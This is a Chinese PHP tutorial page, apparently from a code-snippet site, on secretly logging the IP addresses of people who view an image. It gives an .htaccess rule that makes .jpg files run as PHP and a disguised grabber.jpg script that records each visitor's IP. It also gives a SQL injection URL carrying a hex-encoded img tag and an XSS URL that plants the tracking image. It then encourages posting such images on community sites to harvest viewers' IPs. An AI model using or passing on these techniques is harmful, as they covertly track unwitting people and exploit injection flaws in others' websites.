基于PHP实现通过照片获取ip地址


Posted in PHP onApril 26, 2016

在本教程中,我们将学习如何用一张照片来盗取ip地址。我的想法是通过修改.htaccess文件,将jpg文件当作php文件来解析。

下面就是我们需要向.htaccess中添加的代码:

AddHandler application/x-httpd-php5 .jpg

然后将下面的代码复制到记事本中,命名为grabber.jpg

<?php
$fh = fopen(‘ip_list.txt', ‘a');
fwrite($fh, $_SERVER[‘REMOTE_ADDR'].”
“);
fclose($fh);
$im = imagecreatefromjpeg(“n00b.png”);
header(‘Content-Type: image/jpeg');
imagejpeg($im);
imagedestroy($im);
?>

将grabber.jpg的权限设置为755,然后再找一张照片,将其命名为n00b.png,接着放到与grabber.jpg相同的目录之中。

就这样,一切工作就绪了。当别人浏览grabber.jpg这张照片的时候,他的ip地址就会被记录下来。

(译者注:需要把这些东西上传至我们的个人网站空间中)

POC:

(译者注:作者这里贴了一张可获取ip的演示照片,为了大家的隐私,我没有将其贴出,读者可自行去作者博客查看)

至此,我们的照片已经可以开始工作了。

接着我还想说明一下如何使用SQLi来获取ip地址。其实使用照片来盗取ip地址十分快捷,我们没有理由去使用SQLi这种方法,但是为了让读者获取到更多的知识,我还是说明一下吧:

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1′ union select 1,0x3c696d67207372633d22687474703a2f2f6c65657474696d652e6e65742f6964696f74735f746573745f6c61622f696d61676569702f7472796d652e6a7067223e,3#

现在,再说一下如何使用xss来获取ip地址:

http://leettime.net/xsslab1/chalg1.php?name=<img src=”http://leettime.net/idiots_test_lab/imageip/tryme.jpg”>&submit=Search

好了,就是这些了。

我们可以用这个技巧做许多有趣的事情,事实上大部分社区都允许我们发布一些照片,所以我们可以用这个方法去获取所有访问到我们照片的人的ip地址。

以上所述是小编给大家介绍的基于PHP实现通过照片获取ip地址的相关内容,希望对大家有所帮助!

PHP 相关文章推荐
php下用GD生成生成缩略图的两个选择和区别
Apr 17 PHP
php cli 小技巧
Jun 03 PHP
php实现12306余票查询、价格查询示例
Apr 17 PHP
CentOS下PHP安装Oracle扩展
Feb 15 PHP
PHP 魔术变量和魔术函数详解
Feb 25 PHP
php数组索引与键值操作技巧实例分析
Jun 24 PHP
PHP进制转换实例分析(2,8,16,36,64进制至10进制相互转换)
Feb 04 PHP
ajax调用返回php接口返回json数据的方法(必看篇)
May 05 PHP
php微信开发之谷歌测距
Jun 14 PHP
php使用array_chunk函数将一个数组分割成多个数组
Dec 05 PHP
PHP convert_uudecode()函数讲解
Feb 14 PHP
PHP中迭代器的简单实现及Yii框架中的迭代器实现方法示例
Apr 26 PHP
各种快递查询--Api接口
Apr 26 #PHP
浅析Yii2集成富文本编辑器redactor实例教程
Apr 25 #PHP
Yii2增加验证码步骤详解
Apr 25 #PHP
Yii实现显示静态页的方法
Apr 25 #PHP
mysql_escape_string()函数用法分析
Apr 25 #PHP
PHP中addslashes与mysql_escape_string的区别分析
Apr 25 #PHP
PHP引用的调用方法分析
Apr 25 #PHP
You might like
乱谈我对耳机、音箱的感受
2021/03/02 无线电
业余方法DIY电子管FM收音机
2021/03/02 无线电
php中用memcached实现页面防刷新功能
2014/08/19 PHP
PHP实现自动识别Restful API的返回内容类型
2015/02/07 PHP
php通过rmdir删除目录的简单用法
2015/03/18 PHP
php封装的单文件(图片)上传类完整实例
2016/10/18 PHP
php自定义时间转换函数示例
2016/12/07 PHP
yii2.0整合阿里云oss上传单个文件的示例
2017/09/19 PHP
使用JS进行目录上传(相当于批量上传)
2010/12/05 Javascript
jtable列中自定义button示例代码
2013/11/21 Javascript
JS 获取鼠标左右键的键值方法
2014/10/11 Javascript
了解Javascript的模块化开发
2015/03/02 Javascript
jQuery插件ajaxFileUpload实现异步上传文件效果
2015/04/14 Javascript
获取JS中网页各种高宽与位置的方法总结
2016/07/27 Javascript
浅谈JavaScript的闭包函数
2016/12/08 Javascript
js实现tab选项卡切换功能
2017/01/13 Javascript
详解vue-cli + webpack 多页面实例配置优化方法
2017/07/13 Javascript
基于require.js的使用(实例讲解)
2017/09/07 Javascript
vue利用better-scroll实现轮播图与页面滚动详解
2017/10/20 Javascript
Vue实现验证码功能
2019/12/03 Javascript
python2.7删除文件夹和删除文件代码实例
2013/12/18 Python
Django返回json数据用法示例
2016/09/18 Python
详解Tensorflow数据读取有三种方式(next_batch)
2018/02/01 Python
Python Pillow Image Invert
2019/01/22 Python
python中threading开启关闭线程操作
2020/05/02 Python
浅谈pytorch中的BN层的注意事项
2020/06/23 Python
国外平面设计第一市场:99designs
2016/10/25 全球购物
美国最大的网络男装服装品牌:Bonobos
2017/05/25 全球购物
泰国办公用品购物网站:OfficeMate
2018/02/04 全球购物
戴森香港官方网站:Dyson香港
2021/02/11 全球购物
WEB控件可以激发服务端事件,请谈谈服务端事件是怎么发生并解释其原理?自动传回是什么?为什么要使用自动传回?
2012/02/21 面试题
IBatis持久层技术
2016/07/18 面试题
求职简历自荐信
2013/10/20 职场文书
模具数控专业自荐信
2014/01/27 职场文书
对外汉语教师推荐信
2015/03/27 职场文书
CSS 左边固定宽右边自适应的6种方法
2022/05/15 HTML / CSS